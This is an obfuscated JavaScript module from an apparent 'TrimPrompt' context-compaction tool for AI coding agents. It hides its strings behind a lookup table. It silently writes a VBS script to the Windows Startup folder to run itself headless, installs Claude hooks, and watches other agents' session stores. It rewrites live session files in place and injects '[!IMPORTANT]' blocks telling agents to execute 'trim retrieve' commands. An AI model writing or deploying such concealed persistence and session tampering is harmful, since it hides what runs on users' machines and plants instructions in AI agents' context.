_0x74840d=a0_0x208389;try{if(!fs[_0x74840d(0x110)](_0x48edb7))return{'ok':![],'reason':_0x74840d(0x101)};const _0xfc5145=path[_0x74840d(0x120)](_0x48edb7)[_0x74840d(0x150)]();if(_0xfc5145!==_0x74840d(0xbe)&&_0xfc5145!==_0x74840d(0xcb)&&_0xfc5145!==_0x74840d(0x161))return{'ok':![],'reason':'Unsupported\x20format\x20\x27'+(_0xfc5145||'none')+'\x27\x20—\x20only\x20JSON/JSONL\x20sessions\x20can\x20be\x20compacted\x20(binary\x20.pb/.db\x20stores\x20are\x20not\x20supported)'};const _0x552fd7=fs['readFileSync'](_0x48edb7,_0x74840d(0x155)),_0x2de101=Buffer['byteLength'](_0x552fd7,_0x74840d(0x155)),_0x7a7d67=path[_0x74840d(0xc8)](_0x48edb7,_0xfc5145);let _0x43ec7d=_0x552fd7,_0xe8feca=![];if(_0xfc5145==='.json'){const _0x496537=JSON[_0x74840d(0x159)](_0x552fd7),_0x634436=Array[_0x74840d(0xc6)](_0x496537[_0x74840d(0x158)])?_0x496537[_0x74840d(0x158)]:Array[_0x74840d(0xc6)](_0x496537)?_0x496537:null;if(_0x634436){for(const _0xf066d0 of _0x634436){const _0x2b9d9f=compressMessageContent(_0xf066d0,_0x7a7d67,_0x2639fe);if(_0x2b9d9f['modified'])_0xe8feca=!![];}if(_0xe8feca)_0x43ec7d=JSON[_0x74840d(0x126)](_0x496537,null,0x2);}}else{const _0x833b9e=_0x552fd7['split']('\x0a'),_0x5d9b9d=[];for(let _0x21baad of _0x833b9e){if(!_0x21baad[_0x74840d(0x146)]()){_0x5d9b9d[_0x74840d(0x147)](_0x21baad);continue;}try{const _0x277a3b=JSON[_0x74840d(0x159)](_0x21baad),_0x1ccdeb=_0x277a3b[_0x74840d(0x112)]||_0x277a3b;if(_0x1ccdeb){const _0x4b1f7f=compressMessageContent(_0x1ccdeb,_0x7a7d67,_0x2639fe);_0x4b1f7f['modified']&&(_0xe8feca=!![],_0x21baad=JSON[_0x74840d(0x126)](_0x277a3b));}}catch{}_0x5d9b9d[_0x74840d(0x147)](_0x21baad);}if(_0xe8feca)_0x43ec7d=_0x5d9b9d[_0x74840d(0x134)]('\x0a');}const _0x1f9961=Buffer[_0x74840d(0x11d)](_0x43ec7d,_0x74840d(0x155)),_0x12859a=path[_0x74840d(0x134)](path[_0x74840d(0x124)](_0x48edb7),_0x7a7d67+_0x74840d(0xdf)+_0xfc5145);fs[_0x74840d(0x14c)](_0x12859a,_0x43ec7d,_0x74840d(0x155));const _0x16e76d=Math[_0x74840d(0x119)](_0x2de101/0x4),_0x232e2f=Math[_0x74840d(0x119)](_0x1f9961/0x4),_0x450886=Math[_0x74840d(0x14a)](0x0,_0x16e76d-_0x232e2f),_0x42a32c=_0x2de101>0x0?Math[_0x74840d(0xf7)]((0x1-_0x1f9961/_0x2de101)*0x3e8)/0xa:0x0;return _0x450886>0x0&&tracker_1['tracker']['logExecution'](_0x74840d(0x14d)+_0x2639fe,_0x552fd7,_0x43ec7d,_0x450886,undefined,[_0x74840d(0xbd)+_0x2639fe,_0x74840d(0xab),_0x2639fe,_0x74840d(0xcd)]),{'ok':!![],'compactPath':_0x12859a,'rawBytes':_0x2de101,'compressedBytes':_0x1f9961,'rawTokens':_0x16e76d,'compressedTokens':_0x232e2f,'savedTokens':_0x450886,'reductionPct':_0x42a32c};}catch(_0x185f98){return{'ok':![],'reason':_0x185f98?.[_0x74840d(0x112)]||_0x74840d(0xdb)};}}function a0_0x4385(){const _0x39dfaf=['mkdirSync','media__','startWatcherDaemon','round','get','split','.dat','Windows','.openclaw','string','chunk_id','saveChunk','lineCount','Session\x20file\x20not\x20found','statSync','name','`\x0a>\x20If\x20required,\x20execute:\x20`trim\x20retrieve\x20','assign','Gemini','compressed_tokens','./proxy-conv','tokens','length','aider','venv','includes','prompt_turn','__esModule','existsSync','./cache-manager','message','matchAll','saveConfig','__pycache__','github-copilot-cli','.claude','104034qQsrBd','ceil','create','openclaw','content','byteLength','523045LKmzMH','.gemini','extname','compactSessionCopy','sessions_state.json','type','dirname','cortex','stringify','opencode','Summary:\x20Content\x20offloaded\x20(','conversation_toggles','sessions','hasOwnProperty','./hooks/claude-hook','loadSessionsState','.gif','sideCacheSaved','default','\x20tokens).','readdirSync','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','join','saved','fullPath','defineProperty','copilot','AppData','readFileSync','.tmp','out','Library','homedir','Compaction\x20failed','isDirectory','filter','.pb','role','dist','.git','trim','push','conv:','call','max','system','writeFileSync','compact:','Codex','tracker','toLowerCase','cache','storage','Microsoft','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20The\x20raw\x20content\x20of\x20this\x20step\x20(','utf8','mtimeMs','.trimprompt','messages','parse','Summary:\x20Text\x20block\x20offloaded\x20(','set','workspaceStorage','__createBinding','hookSavedTokens','replace','autoCompactSaved','.json1','Application\x20Support','codex','Start\x20Menu','525boIZwv','isFile','live-conv','watch','configurable','79161ALxYrn','projects','\x22\x20&\x20\x22\x22\x22\x20ui\x20--headless\x22,\x200,\x20False\x0a','win32','.aider.chat.history.md','98uOqNdg','savedTokens','TrimPromptDaemon.vbs','path','__setModuleDefault','.shm','.db','Cursor','getAgentStoragePaths','`\x0a>\x20Retrieve\x20with:\x20`trim\x20retrieve\x20','conv_','.json','Startup','Programs','\x20tokens)\x20was\x20moved\x20to\x20local\x20side-cache.\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','805509GtSLpM','platform','raw_tokens','.jpg','isArray','.agents','basename','7824240xlnboZ','cursor','.jsonl','10DoBsNu','compact_copy','activeSavedTokens','.png','logExecution','User','text','config.json','File\x20not\x20found','claude','endsWith','2777630BkGRPc','officialCompactSaved','custom_storage_paths','object','compaction\x20failed','compactLiveSession','installWindowsStartupService','modified','.compact','.vscdb','toISOString','TrimPrompt\x20Cache\x20Engine','Unsupported\x20extension','Summary:\x20Tool\x20result\x20offloaded\x20(','.config','.wal','writable','startsWith','gemini','context','.cortex','build','__importStar','Roaming','history','.next','5378612VXNfPU','.webp','Set\x20WshShell\x20=\x20CreateObject(\x22WScript.Shell\x22)\x0aWshShell.Run\x20\x22node\x20\x22\x22\x22\x20&\x20\x22'];a0_0x4385=function(){return _0x39dfaf;};return a0_0x4385();}function compactLiveSession(_0x536596,_0x316609){const _0x3f7024=a0_0x208389;try{if(!fs[_0x3f7024(0x110)](_0x536596))return{'ok':![],'savedTokens':0x0,'reason':_0x3f7024(0xd4)};const _0x373f9b=path[_0x3f7024(0x120)](_0x536596)[_0x3f7024(0x150)]();if(_0x373f9b!=='.json'&&_0x373f9b!==_0x3f7024(0xcb)&&_0x373f9b!==_0x3f7024(0x161))return{'ok':![],'savedTokens':0x0,'reason':_0x3f7024(0xe3)};const _0x5e139d=fs[_0x3f7024(0x13a)](_0x536596,_0x3f7024(0x155)),_0x4261aa=Buffer['byteLength'](_0x5e139d,_0x3f7024(0x155)),_0x44208f=Math[_0x3f7024(0x119)](_0x4261aa/0x4),_0x46b9cc=path[_0x3f7024(0xc8)](_0x536596,_0x373f9b);let _0x375df9=_0x5e139d,_0xb2def1=![];if(_0x373f9b===_0x3f7024(0xbe)){const _0x528270=JSON[_0x3f7024(0x159)](_0x5e139d),_0x3ebaf7=Array['isArray'](_0x528270[_0x3f7024(0x158)])?_0x528270[_0x3f7024(0x158)]:Array[_0x3f7024(0xc6)](_0x528270)?_0x528270:null;if(_0x3ebaf7){for(const _0x2ddbb3 of _0x3ebaf7){const _0x5033fd=compressMessageContent(_0x2ddbb3,_0x46b9cc,_0x316609);if(_0x5033fd[_0x3f7024(0xde)])_0xb2def1=!![];}const {compressConversation:_0x4f5023}=require(_0x3f7024(0x108)),_0x2c6143=_0x4f5023(_0x3ebaf7,0x9c40);_0x2c6143['savedTokens']>0x0&&(_0xb2def1=!![],Array[_0x3f7024(0xc6)](_0x528270[_0x3f7024(0x158)])?_0x528270['messages']=_0x2c6143['messages']:_0x375df9=JSON['stringify'](_0x2c6143[_0x3f7024(0x158)],null,0x2)),_0xb2def1&&!Array['isArray'](_0x528270)&&(_0x375df9=JSON[_0x3f7024(0x126)](_0x528270,null,0x2));}}else{const _0x40aed2=_0x5e139d[_0x3f7024(0xf9)]('\x0a'),_0x4cecd9=[],_0x3724e7=[];for(const _0x219d17 of _0x40aed2){if(!_0x219d17[_0x3f7024(0x146)]())continue;try{const _0x58eb37=JSON[_0x3f7024(0x159)](_0x219d17);_0x4cecd9[_0x3f7024(0x147)](_0x58eb37);const _0x5ab1e3=_0x58eb37['message']||_0x58eb37;_0x5ab1e3&&typeof _0x5ab1e3[_0x3f7024(0x143)]===_0x3f7024(0xfd)&&_0x3724e7[_0x3f7024(0x147)](_0x5ab1e3);}catch{}}for(const _0x9e849b of _0x3724e7){const _0x33aba1=compressMessageContent(_0x9e849b,_0x46b9cc,_0x316609);if(_0x33aba1[_0x3f7024(0xde)])_0xb2def1=!![];}const {compressConversation:_0x202d3e}=require(_0x3f7024(0x108)),_0x466d95=_0x202d3e(_0x3724e7,0x9c40);if(_0x466d95[_0x3f7024(0xb4)]>0x0||_0xb2def1){const _0x46a799=[];for(const _0x378171 of _0x4cecd9){const _0x456467=_0x378171[_0x3f7024(0x112)]||_0x378171;if(_0x456467&&typeof _0x456467[_0x3f7024(0x143)]===_0x3f7024(0xfd)){const _0x1be038=_0x466d95[_0x3f7024(0x158)]['find'](_0x487175=>_0x487175===_0x456467);_0x1be038?(_0x378171[_0x3f7024(0x112)]?_0x378171['message']=_0x1be038:Object[_0x3f7024(0x105)](_0x378171,_0x1be038),_0x46a799[_0x3f7024(0x147)](JSON[_0x3f7024(0x126)](_0x378171))):_0xb2def1=!![];}else _0x46a799[_0x3f7024(0x147)](JSON['stringify'](_0x378171));}_0x375df9=_0x46a799[_0x3f7024(0x134)]('\x0a'),_0xb2def1=!![];}}if(_0xb2def1){const _0x463566=Buffer[_0x3f7024(0x11d)](_0x375df9,_0x3f7024(0x155));fs[_0x3f7024(0x14c)](_0x536596,_0x375df9,_0x3f7024(0x155));const _0x14632b=Math[_0x3f7024(0x119)](_0x463566/0x4),_0x36b129=Math[_0x3f7024(0x14a)](0x0,_0x44208f-_0x14632b);if(_0x36b129>0x0){const _0x296e29=loadSessionsState(),_0x2cfc72=_0x296e29[_0x536596]||{'lineCount':0x1,'activeSavedTokens':0x0,'sideCacheSaved':0x0,'officialCompactSaved':0x0,'autoCompactSaved':0x0},_0x7a3ce1=_0x2cfc72[_0x3f7024(0x160)]||0x0,_0x246c95=_0x7a3ce1+_0x36b129;saveSessionStateItem(_0x536596,_0x2cfc72[_0x3f7024(0x100)],_0x2cfc72['officialCompactSaved']||0x0,_0x2cfc72[_0x3f7024(0x12f)]||0x0,_0x246c95,_0x2cfc72[_0x3f7024(0x15e)]||0x0),tracker_1[_0x3f7024(0x14f)][_0x3f7024(0xd0)](_0x3f7024(0x14d)+_0x316609,_0x5e139d,_0x375df9,_0x36b129,undefined,[_0x3f7024(0xbd)+_0x316609,'live-conv',_0x316609,'compact_copy']);}return{'ok':!![],'savedTokens':_0x36b129};}return{'ok':!![],'savedTokens':0x0};}catch(_0xb3e92){return{'ok':![],'savedTokens':0x0,'reason':_0xb3e92[_0x3f7024(0x112)]||_0x3f7024(0x13f)};}}function installWindowsStartupService(){const _0x1f3b0a=a0_0x208389;if(process[_0x1f3b0a(0xc3)]!==_0x1f3b0a(0xb1))return;try{const _0x1922b4=path[_0x1f3b0a(0x134)](os[_0x1f3b0a(0x13e)](),_0x1f3b0a(0x139),_0x1f3b0a(0xee),_0x1f3b0a(0x153),_0x1f3b0a(0xfb),_0x1f3b0a(0x164),_0x1f3b0a(0xc0),_0x1f3b0a(0xbf));if(!fs[_0x1f3b0a(0x110)](_0x1922b4))fs[_0x1f3b0a(0xf4)](_0x1922b4,{'recursive':!![]});const _0x43ca66=path[_0x1f3b0a(0x134)](_0x1922b4,_0x1f3b0a(0xb5)),_0x309113=path[_0x1f3b0a(0x134)](__dirname,'cli.js'),_0x9a454b=_0x309113[_0x1f3b0a(0x15f)](/\\/g,'\x5c\x5c'),_0xd8bd66=_0x1f3b0a(0xf3)+_0x9a454b+_0x1f3b0a(0xb0);fs['writeFileSync'](_0x43ca66,_0xd8bd66,_0x1f3b0a(0x155));}catch{}}function startWatcherDaemon(){const _0x5c5ce8=a0_0x208389;installWindowsStartupService();try{const {installClaudeHooks:_0x32390c}=require(_0x5c5ce8(0x12c));_0x32390c();}catch(_0x30da4e){}const _0x6aa350=[_0x5c5ce8(0xd5),_0x5c5ce8(0xe9),'codex',_0x5c5ce8(0xca),'aider',_0x5c5ce8(0x138),_0x5c5ce8(0x11b),_0x5c5ce8(0x127),_0x5c5ce8(0x125)];for(const _0x410eed of _0x6aa350){const _0x530d1f=getAgentStoragePaths(_0x410eed);for(const _0x431919 of _0x530d1f){if(fs['existsSync'](_0x431919))try{fs[_0x5c5ce8(0xac)](_0x431919,{'recursive':!![]},(_0x5aed5d,_0xb19c54)=>{const _0x14667a=_0x5c5ce8;if(!_0xb19c54)return;const _0x592e09=path[_0x14667a(0x134)](_0x431919,_0xb19c54);if(debounceTimers['has'](_0x592e09))clearTimeout(debounceTimers[_0x14667a(0xf8)](_0x592e09));const _0x4c7dab=setTimeout(()=>processSessionFile(_0x592e09,_0x410eed),0x1f4);debounceTimers[_0x14667a(0x15b)](_0x592e09,_0x4c7dab);});}catch{}}}setInterval(()=>{const _0x1de2ab=_0x5c5ce8;for(const _0x1701e8 of _0x6aa350){try{const _0x31cd70=getLatestSessionFile(_0x1701e8);_0x31cd70&&_0x31cd70[_0x1de2ab(0x136)]&&processSessionFile(_0x31cd70[_0x1de2ab(0x136)],_0x1701e8);}catch{}}},0xbb8);const _0x1c2f6e=()=>{const _0x1ca527=_0x5c5ce8;for(const _0x4527d8 of _0x6aa350){try{const _0xa9ca66=getLatestSessionFile(_0x4527d8);_0xa9ca66&&_0xa9ca66['fullPath']&&compactLiveSession(_0xa9ca66[_0x1ca527(0x136)],_0x4527d8);}catch{}}};setTimeout(_0x1c2f6e,0x7d0),setInterval(_0x1c2f6e,0x2bf20);}